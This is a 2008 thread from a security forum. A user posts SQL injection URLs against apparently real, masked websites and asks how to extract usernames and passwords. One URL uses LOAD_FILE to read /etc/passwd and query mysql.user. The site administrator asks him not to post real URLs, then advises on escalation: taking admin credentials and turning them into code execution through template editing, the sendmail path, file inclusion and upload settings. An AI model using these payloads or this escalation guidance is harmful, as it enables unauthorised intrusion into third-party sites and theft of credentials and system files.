Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
September 21, 2019
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 216
Members: 0
Total: 216
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> All other security holes -> SQL inj exploit NOT complet !!
Post new topic  Reply to topic View previous topic :: View next topic 
SQL inj exploit NOT complet !!
PostPosted: Sun Jan 27, 2008 8:20 pm Reply with quote
nox
Advanced user
Advanced user
 
Joined: Dec 29, 2007
Posts: 100
Location: c://windows/system32




Code:
http://********/fr/medias_communiques_affiche.php?id_communique=-1%20union%20select%201,2,3,table_name,5%20from%20information_schema.tables/*


Code:
http://********/new_site/cheminotcgt_communiques/detail_communique.php?Id_communique=-1+union+select+1,2,3,4,5,5,6,5,7,8,9,10--


Code:
http://********/communique.php?id_communique=-1%20union%20select%201,2,3,4,5,6,7--


Code:
http://********/page.php?id_page=7&id_communique=-1%20union%20select%201,2,3,4,5,6,7/*


Code:
http://********/storefronts.php?sf_id=-1%20union%20select%201,2,3,4/*


can i get user & password ? Shocked


and why file /etc/passwd , not fond ???? Confused in this ! : *******

http://*******/index.php?name=view&id=-1+UNION/**/SELECT/**/1,2,LOAD_FILE(0x2F6574632F706173737764),4,5,6%20from/**/mysql.user/*

Edited by waraxe

_________________
..::::[ Waraxe.us is the BEST and the TOP ]::::..
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
PostPosted: Mon Jan 28, 2008 10:30 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Please don't post real URL-s next time!!

LOAD_FILE() and other file-related functions in mysql require FILE privileges. If website is hosted on shared server, then probably admin will not give such privileges to low-level users. Same story is with mysql.user - if server is secure, then you can't access mysql.user - "Access Denied" ...
So instead of escalating sql injection to php code level through INTO OUTFILE or reading files with LOAD_FILE you can try to find administrative interface, then fetch admin username and password from database and then try from web application admin interface escalate your privileges. Example - template editing can give you arbitrary php code execution possibilities, various website settings - sendmail path can give access to shell command exec, other pathes - local file inclusion, valid uploadable file extensions - you can change them and upload php files, etc ... possibilities are endless ... be creative Smile
View user's profile Send private message Send e-mail Visit poster's website
SQL inj exploit NOT complet !!
  www.waraxe.us Forum Index -> All other security holes
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.078 Seconds